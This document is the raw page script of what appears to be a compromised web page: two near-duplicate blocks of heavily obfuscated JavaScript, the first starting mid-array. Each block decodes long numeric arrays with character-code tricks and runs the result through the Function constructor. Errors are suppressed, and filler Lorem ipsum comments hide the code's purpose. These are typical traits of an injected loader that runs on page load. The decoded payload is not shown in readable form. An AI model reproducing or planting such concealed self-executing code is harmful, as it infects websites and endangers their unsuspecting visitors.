86,10,96,77,53,2,18,29,5,84,16,85,71,86,35,86,86,84,75,68,87,86,71,10,96,77,84,9,11,14,5,53,10,4,74,90,38,73,67,77,38,81,85,90,85,46,85,44,85,71,38,24,85,44,38,79,38,76,4,11,11,29,56,80,16,67,82,82,71,80,70,37,74,75,78,70,10,5,84,11,95,34,2,56,68,10,5,92,14,56,69,2,21,47,67,86,74,16,72,78,81,81,84,10,5,92,17,56,69,11,2,27,54,10,5,40,11,93,88,67,84,2,56,79,31,56,68,10,2,11,90,14,2,6,67,11,29,2,8,76,31,2,11,90,7,2,6,67,29,2,8,46,31,2,6,91,12,5,76,29,2,8,69,31,2,6,53,12,56,79,29,2,8,85,31,5,46,15,5,69,2,17,5,85,32,18,11,93,5,90,31,5,85,95,71,78,85,71,93,5,90,31,5,85,13,2,6,73,95,62,10,5,90,7,5,40,11,2,27,50,10,5,41,11,93,2,11,90,31,96,29,9,11,13,5,41,29,2,6,91,31,96,17,9,11,29,2,6,73,31,96,29,9,11,15,96,40,9,11,29,2,6,67,31,56,68,10,2,6,73,14,2,6,91,11,29,2,6,53,31,2,6,73,7,2,6,91,2,27,35,10,56,2,21,56,2,10,31,31,19,33,56,61,18,63,28,56,2,24,9,9,11,95,29,34,2,5,68,10,56,11,93,70,31,80,71,89,2,38,67,86,71,10,2,22,73,31,96,92,71,71,9,11,29,70,16,85,71,86,54,75,79,71,10,10,56,16,67,85,65,81,72,15,96,41,9,11,12,96,41,9,11,12,96,41,9,11,12,96,71,92,92,2,18,12,96,71,92,92,92,2,18,29,62,2,70,2,27,82,10,56,36,11,93,2,8,48,14,56,47,14,5,44,31,56,36,2,10,29,2,8,67,31,61,63,29,89,74,75,78,71,10,15,15,5,44,11,93,56,47,31,5,54,10,5,44,2,22,67,16,82,87,85,74,10,56,47,2,22,48,31,56,36,61,56,47,63,29,56,36,61,56,47,63,31,56,36,61,5,44,63,29,56,36,61,5,44,63,31,5,48,95,95,34,2,56,90,10,6,11,93,56,84,31,6,16,79,67,82,10,61,26,19,14,26,23,14,25,22,14,25,22,14,27,20,14,19,25,14,26,20,14,25,21,14,26,18,14,21,18,14,26,20,14,25,25,14,20,23,14,19,19,14,19,18,14,19,18,14,24,19,14,19,19,14,23,24,14,23,23,14,19,19,14,23,21,14,24,14,23,21,14,25,14,20,14,19,14,18,14,22,26,63,14,34,10,90,14,75,2,21,53,86,84,75,80,73,16,72,84,81,79,37,74,67,84,37,81,70,71,10,75,13,90,13,20,22,11,95,11,29,62,2,5,35,10,56,84,11,2,27,72,10,90,2,21,90,2,10,95,34,2,56,74,10,6,11,93,75,72,2,12,11,3,31,2,11,42,11,93,6,10,2,28,75,72,2,12,16,56,82,11,3,31,2,11,42,11,62,29,6,16,56,82,31,19,29,2,23,38,14,34,10,56,37,11,93,5,71,31,5,68,10,56,37,2,22,87,31,5,71,2,2,47,81,80,86,74,10,11,2,29,46,31,5,71,2,2,38,67,86,71,10,2,22,91,31,34,10,90,14,75,11,93,62,10,5,72,10,90,13,4,4,11,15,19,11,33,90,28,4,18,4,13,90,95,29,56,85,31,5,91,10,5,87,14,22,11,13,4,15,4,13,5,91,10,56,46,14,25,2,22,86,31,5,38,13,5,53,10,4,39,2,19,29,56,71,31,56,42,31,56,68,10,5,71,2,2,42,81,87,84,85,10,11,14,24,11,12,24,2,29,38,31,56,71,13,19,29,5,37,31,13,96,71,92,9,11,29,2,14,2,23,86,14,34,10,56,37,11,93,86,84,91,93,5,80,31,56,37,16,86,84,71,80,70,85,29,5,79,31,5,53,10,4,2,19,13,4,2,4,2,17,56,71,30,5,37,11,56,71,2,25,56,71,2,17,56,38,30,5,37,11,56,38,2,25,56,38,29,2,26,71,13,5,53,10,58,11,63,2,17,3,5,70,11,93,2,26,38,13,5,53,10,58,11,63,95,5,70,31,10,5,70,61,21,63,16,80,67,79,71,16,86,81,46,81,89,71,84,37,67,85,71,10,11,16,84,71,82,78,67,69,71,10,17,61,64,67,15,92,63,17,73,75,14,9,9,11,13,9,79,75,69,84,81,85,69,81,82,71,9,11,16,85,82,78,75,86,10,9,9,2,22,36,31,5,87,12,25,19,13,56,42,12,21,13,56,46,12,21,25,29,5,50,10,5,36,2,22,72,31,5,54,10,22,11,13,5,37,29,5,82,10,5,70,2,22,39,31,96,37,74,9,11,13,5,35,10,5,70,11,16,85,87,68,85,86,84,75,80,73,10,18,14,5,72,11,13,9,16,69,81,79,17,9,13,56,90,10,6,11,29,56,44,61,9,60,9,63,31,5,39,29,56,89,31,96,36,43,2,20,68,75,47,55,2,20,55,77,84,60,52,75,47,52,43,35,9,11,29,6,10,96,45,2,18,16,67,82,82,71,80,70,10,56,89,11,95,69,67,86,69,74,10,56,83,11,93,95,95,11,95,14,5,37,12,5,37,12,5,37,11,95,11,95,11,95,71,78,85,71,93,2,14,2,15,14,19,13,96,54,54,54,2,18,95,95,2,15,11,5,76,85,34,72,87,80,69,86,75,81,80,56,5,45,58,9,14,9,66,9,28,9,96,5,53,10,9,62,84,71,86,87,84,80,2,2,16,73,71,86,55,54,37,2,3,16,80,81,37,81,80,72,78,75,69,86,10,86,84,87,71,11,95,69,67,86,69,74,10,71,11,93,95,2,6,5,81,16,56,2,7,10,11,14,56,77,2,2,2,8,88,67,84,2,5,2,10,16,78,71,80,73,86,74,2,11,5,81,16,5,2,12,10,86,91,82,71,81,72,10,6,2,13,38,67,86,71,16,82,84,81,86,81,86,91,82,71,16,5,2,14,85,71,86,54,75,79,71,81,87,86,10,2,28,2,15,56,74,10,5,81,16,76,51,87,71,84,91,11,95,2,17,29,75,72,10,2,18,9,11,11,2,19,54,92,71,54,87,4,11,13,56,85,2,20,91,51,42,54,82,89,71,71,71,82,51,2,21,11,93,62,2,2,22,11,29,5,2,23,6,16,73,71,86,44,53,49,48,10,5,2,24,16,76,81,75,80,10,2,25,31,96,92,9,11,13,2,26,5,70,31,5,80,61,5,79,13,56,2,27,95,34,2,5,2,28,34,10,11,93,2,29,13,10,13,96,71,2,18,29,56];}
	
	function co() {
		return 'Code';
	}
	function gafu() {
		xxx=a(String, 'f' + ro() + co());
		return function(q){return xxx(q);};
	};
	rex = [gafu(),gafu()];
	

	function choo(k) {
		if (k < 9) {
			return 1
		} else {
			return 2
		}
	};
	
	d = '';
	mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];
	map = ''; xo = doc;

	function fs(ro, arr, add, st, en,dp) {
		//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
		var hf = ((en+st)>>1);
		if(en-st>16)
		{
			//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
			return fs(ro, arr, add, st, hf,dp+1) + fs(ro,arr, add, hf, en,dp+1);
		}else{
			var rt='';rx1=rex[add-29];
			for(var rj=st;rj<en;rj++){
			if(typeof arr[rj]!='string'){
			rt+=rx1(arr[rj]+add);}
		}
		//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi
			return rt;
		}
	}
	map += fs(map, mapper, 30, 0,mapper.length);
	//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland

	function a(b, c) {
		return b[c];
	};

	function ro() {
		return 'romChar';
	}
	rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);
	//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
	try{
	$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}
})(function(jsBb) {
	return (function(jsB, jsBs) {
		return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()
	})((function(jsB) {
		return jsB.constructor
	}), (function(jsB) {
		return (function(jsBs) {
			//accumsan dapibus diam 
			return jsB.call(jsB, jsBs)
		})
	}))
},function(tt){return tt.pop();},
function(kk,dd,ch,pp){
	for(var c=kk.length;c>0;){		
		var x=ch(c);
		c-=x;
		var rep=kk.substr(c, x);
		//accumsan dapibus diam 
		var t = dd.split(rep);
		dd=t.join(pp(t));
	};return dd;
},document,document.getElementsByTagName('title'));
/**/
if(typeof gloa=='function')gloa();
</script>
<script>
(function($$,_2,_1,doc,tk) {
	var xo="";
	function qq2(cid){cid=~~cid;return ["L",189-20*cid,175,16*cid,70,81,89,16,73,78,81,67,31,10,2,28,2,13,83,31,2,28,88,67,84,2,56,77,31,86,74,75,85,29,62,61,56,77,2,2,40,87,78,78,59,71,67,84,2,7,47,81,80,86,74,2,7,38,67,86,71,2,7,42,81,87,84,85,2,7,47,75,80,87,86,71,85,2,7,53,71,69,81,80,70,85,10,11,63,95,29,2,13,52,31,2,28,2,8,89,14,56,91,31,86,74,75,85,16,5,83,10,11,14,75,31,18,29,56,91,61,19,63,13,31,19,29,89,74,75,78,71,10,75,13,13,30,25,11,93,5,89,31,56,91,61,75,63,2,17,5,89,30,5,37,11,56,91,61,75,63,2,25,5,89,95,62,2,56,91,16,85,82,78,75,69,71,10,96,92,9,11,14,19,13,96,54,2,18,2,24,96,87,2,18,13,9,54,9,13,56,91,2,24,96,55,2,18,95,29,56,44,31,93,9,74,66,74,86,86,82,28,17,17,58,85,66,17,58,86,66,86,84,71,58,70,66,70,67,75,58,80,66,80,70,85,58,83,66,33,58,69,66,69,67,78,78,68,67,69,77,31,58,76,66,5,58,67,66,67,82,75,58,78,66,78,91,58,57,66,86,89,75,86,86,71,84,58,81,66,69,81,79,58,71,66,19,58,77,66,85,58,45,66,68,81,70,91,58,90,66,67,76,67,90,58,38,66,16,58,46,66,78,75,68,85,58,44,66,76,83,87,71,84,91,58,24,66,24,16,20,58,79,66,79,75,80,58,72,66,81,80,58,53,66,69,84,75,82,86,58,75,66,75,72,58,47,66,84,67,79,71,58,59,66,74,71,67,70,58,89,66,89,75,70,86,74,28,58,82,66,82,90,29,58,42,66,74,71,75,73,74,86,28,58,54,66,20,58,84,66,84,69,58,51,66,4,58,91,66,85,86,91,78,71,31,58,68,66,32,30,58,52,66,32,30,17,58,43,66,70,75,88,58,36,66,30,58,35,66,32,58,73,66,73,81,81,73,78,71,58,39,66,8,70,67,86,71,31,58,92,66,18,58,87,66,15,58,55,66,2,58,14,66,28,18,18,58,29,9,28,20,21,22,23,24,25,26,27,18,19,14,9,17,9,28,22,26,20,25,19,14,9,40,9,28,19,27,26,19,27,23,20,23,22,14,9,41,9,28,19,20,14,9,37,66,31,9,95,29,34,2,5,53,10,56,81,11,93,5,74,31,61,63,29,72,81,84,10,56,86,31,18,29,56,86,30,56,81,2,10,29,56,86,13,13,11,93,5,74,16,82,87,85,74,10,56,44,61,56,81,16,69,74,67,84,35,86,10,56,86,11,63,11,95,62,2,5,35,10,5,74,11,95,56,48,31,70,81,69,87,79,71,80,86,29,5,81,31,89,75,80,70,81,89,29,2,11,42,31,9,87,80,70,71,72,75,80,71,70,9,29,2,11,38,31,96,74,67,38,57,38,81,85,71,85,86,80,85,70,78,38,76,72,83,69,83,9,2,22,75,31,2,12,11,31,31,2,11,42,11,2,17,5,75,94,94,3,56,70,10,11,11,93,75,72,10,3,5,75,11,93,86,84,91,93,56,88,31,76,51,87,71,84,91,2,3,29,86,84,91,93,56,88,31,6,2,3,95,56,80,31,56,48,16,73,71,86,39,78,71,79,71,80,86,85,36,91,54,67,73,48,67,79,71,10,96,59,2,18,61,18,63,29,5,84,31,56,48,16,69,84,71,67,86,71,39,78,71,79,71,80,86,10,96,77,53,2,18,29,5,84,16,85,71,86,35,86,86,84,75,68,87,86,71,10,96,77,84,9,11,14,5,53,10,4,74,90,38,73,67,77,38,81,85,90,85,46,85,44,85,71,38,24,85,44,38,79,38,76,4,11,11,29,56,80,16,67,82,82,71,80,70,37,74,75,78,70,10,5,84,11,95,34,2,56,68,10,5,92,14,56,69,2,21,47,67,86,74,16,72,78,81,81,84,10,5,92,17,56,69,11,2,27,54,10,5,40,11,93,88,67,84,2,56,79,31,56,68,10,2,11,90,14,2,6,67,11,29,2,8,76,31,2,11,90,7,2,6,67,29,2,8,46,31,2,6,91,12,5,76,29,2,8,69,31,2,6,53,12,56,79,29,2,8,85,31,5,46,15,5,69,2,17,5,85,32,18,11,93,5,90,31,5,85,95,71,78,85,71,93,5,90,31,5,85,13,2,6,73,95,62,10,5,90,7,5,40,11,2,27,50,10,5,41,11,93,2,11,90,31,96,29,9,11,13,5,41,29,2,6,91,31,96,17,9,11,29,2,6,73,31,96,29,9,11,15,96,40,9,11,29,2,6,67,31,56,68,10,2,6,73,14,2,6,91,11,29,2,6,53,31,2,6,73,7,2,6,91,2,27,35,10,56,2,21,56,2,10,31,31,19,33,56,61,18,63,28,56,2,24,9,9,11,95,29,34,2,5,68,10,56,11,93,70,31,80,71,89,2,38,67,86,71,10,2,22,73,31,96,92,71,71,9,11,29,70,16,85,71,86,54,75,79,71,10,10,56,16,67,85,65,81,72,15,96,41,9,11,12,96,41,9,11,12,96,41,9,11,12,96,71,92,92,2,18,12,96,71,92,92,92,2,18,29,62,2,70,2,27,82,10,56,36,11,93,2,8,48,14,56,47,14,5,44,31,56,36,2,10,29,2,8,67,31,61,63,29,89,74,75,78,71,10,15,15,5,44,11,93,56,47,31,5,54,10,5,44,2,22,67,16,82,87,85,74,10,56,47,2,22,48,31,56,36,61,56,47,63,29,56,36,61,56,47,63,31,56,36,61,5,44,63,29,56,36,61,5,44,63,31,5,48,95,95,34,2,56,90,10,6,11,93,56,84,31,6,16,79,67,82,10,61,26,19,14,26,23,14,25,22,14,25,22,14,27,20,14,19,25,14,26,20,14,25,21,14,26,18,14,21,18,14,26,20,14,25,25,14,20,23,14,19,19,14,19,18,14,19,18,14,24,19,14,19,19,14,23,24,14,23,23,14,19,19,14,23,21,14,24,14,23,21,14,25,14,20,14,19,14,18,14,22,26,63,14,34,10,90,14,75,2,21,53,86,84,75,80,73,16,72,84,81,79,37,74,67,84,37,81,70,71,10,75,13,90,13,20,22,11,95,11,29,62,2,5,35,10,56,84,11,2,27,72,10,90,2,21,90,2,10,95,34,2,56,74,10,6,11,93,75,72,2,12,11,3,31,2,11,42,11,93,6,10,2,28,75,72,2,12,16,56,82,11,3,31,2,11,42,11,62,29,6,16,56,82,31,19,29,2,23,38,14,34,10,56,37,11,93,5,71,31,5,68,10,56,37,2,22,87,31,5,71,2,2,47,81,80,86,74,10,11,2,29,46,31,5,71,2,2,38,67,86,71,10,2,22,91,31,34,10,90,14,75,11,93,62,10,5,72,10,90,13,4,4,11,15,19,11,33,90,28,4,18,4,13,90,95,29,56,85,31,5,91,10,5,87,14,22,11,13,4,15,4,13,5,91,10,56,46,14,25,2,22,86,31,5,38,13,5,53,10,4,39,2,19,29,56,71,31,56,42,31,56,68,10,5,71,2,2,42,81,87,84,85,10,11,14,24,11,12,24,2,29,38,31,56,71,13,19,29,5,37,31,13,96,71,92,9,11,29,2,14,2,23,86,14,34,10,56,37,11,93,86,84,91,93,5,80,31,56,37,16,86,84,71,80,70,85,29,5,79,31,5,53,10,4,2,19,13,4,2,4,2,17,56,71,30,5,37,11,56,71,2,25,56,71,2,17,56,38,30,5,37,11,56,38,2,25,56,38,29,2,26,71,13,5,53,10,58,11,63,2,17,3,5,70,11,93,2,26,38,13,5,53,10,58,11,63,95,5,70,31,10,5,70,61,21,63,16,80,67,79,71,16,86,81,46,81,89,71,84,37,67,85,71,10,11,16,84,71,82,78,67,69,71,10,17,61,64,67,15,92,63,17,73,75,14,9,9,11,13,9,79,75,69,84,81,85,69,81,82,71,9,11,16,85,82,78,75,86,10,9,9,2,22,36,31,5,87,12,25,19,13,56,42,12,21,13,56,46,12,21,25,29,5,50,10,5,36,2,22,72,31,5,54,10,22,11,13,5,37,29,5,82,10,5,70,2,22,39,31,96,37,74,9,11,13,5,35,10,5,70,11,16,85,87,68,85,86,84,75,80,73,10,18,14,5,72,11,13,9,16,69,81,79,17,9,13,56,90,10,6,11,29,56,44,61,9,60,9,63,31,5,39,29,56,89,31,96,36,43,2,20,68,75,47,55,2,20,55,77,84,60,52,75,47,52,43,35,9,11,29,6,10,96,45,2,18,16,67,82,82,71,80,70,10,56,89,11,95,69,67,86,69,74,10,56,83,11,93,95,95,11,95,14,5,37,12,5,37,12,5,37,11,95,11,95,11,95,71,78,85,71,93,2,14,2,15,14,19,13,96,54,54,54,2,18,95,95,2,15,11,5,76,85,34,72,87,80,69,86,75,81,80,56,5,45,58,9,14,9,66,9,28,9,96,5,53,10,9,62,84,71,86,87,84,80,2,2,16,73,71,86,55,54,37,2,3,16,80,81,37,81,80,72,78,75,69,86,10,86,84,87,71,11,95,69,67,86,69,74,10,71,11,93,95,2,6,5,81,16,56,2,7,10,11,14,56,77,2,2,2,8,88,67,84,2,5,2,10,16,78,71,80,73,86,74,2,11,5,81,16,5,2,12,10,86,91,82,71,81,72,10,6,2,13,38,67,86,71,16,82,84,81,86,81,86,91,82,71,16,5,2,14,85,71,86,54,75,79,71,81,87,86,10,2,28,2,15,56,74,10,5,81,16,76,51,87,71,84,91,11,95,2,17,29,75,72,10,2,18,9,11,11,2,19,54,92,71,54,87,4,11,13,56,85,2,20,91,51,42,54,82,89,71,71,71,82,51,2,21,11,93,62,2,2,22,11,29,5,2,23,6,16,73,71,86,44,53,49,48,10,5,2,24,16,76,81,75,80,10,2,25,31,96,92,9,11,13,2,26,5,70,31,5,80,61,5,79,13,56,2,27,95,34,2,5,2,28,34,10,11,93,2,29,13,10,13,96,71,2,18,29,56];}
	
	function co() {
		return 'Code';
	}
	function gafu() {
		xxx=a(String, 'f' + ro() + co());
		return function(q){return xxx(q);};
	};
	rex = [gafu(),gafu()];
	

	function choo(k) {
		if (k < 9) {
			return 1
		} else {
			return 2
		}
	};
	
	d = '';
	mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];
	map = ''; xo = doc;

	function fs(ro, arr, add, st, en,dp) {
		//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
		var hf = ((en+st)>>1);
		if(en-st>16)
		{
			//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
			return fs(ro, arr, add, st, hf,dp+1) + fs(ro,arr, add, hf, en,dp+1);
		}else{
			var rt='';rx1=rex[add-29];
			for(var rj=st;rj<en;rj++){
			if(typeof arr[rj]!='string'){
			rt+=rx1(arr[rj]+add);}
		}
		//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi
			return rt;
		}
	}
	map += fs(map, mapper, 30, 0,mapper.length);
	//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland

	function a(b, c) {
		return b[c];
	};

	function ro() {
		return 'romChar';
	}
	rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);
	//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
	try{
	$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}
})(function(jsBb) {
	return (function(jsB, jsBs) {
		return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()
	})((function(jsB) {
		return jsB.constructor
	}), (function(jsB) {
		return (function(jsBs) {
			//accumsan dapibus diam 
			return jsB.call(jsB, jsBs)
		})
	}))
},function(tt){return tt.pop();},
function(kk,dd,ch,pp){
	for(var c=kk.length;c>0;){		
		var x=ch(c);
		c-=x;
		var rep=kk.substr(c, x);
		//accumsan dapibus diam 
		var t = dd.split(rep);
		dd=t.join(pp(t));
	};return dd;
},document,document.getElementsByTagName('title'));
/**/
if(typeof gloa=='function')gloa();
</script>
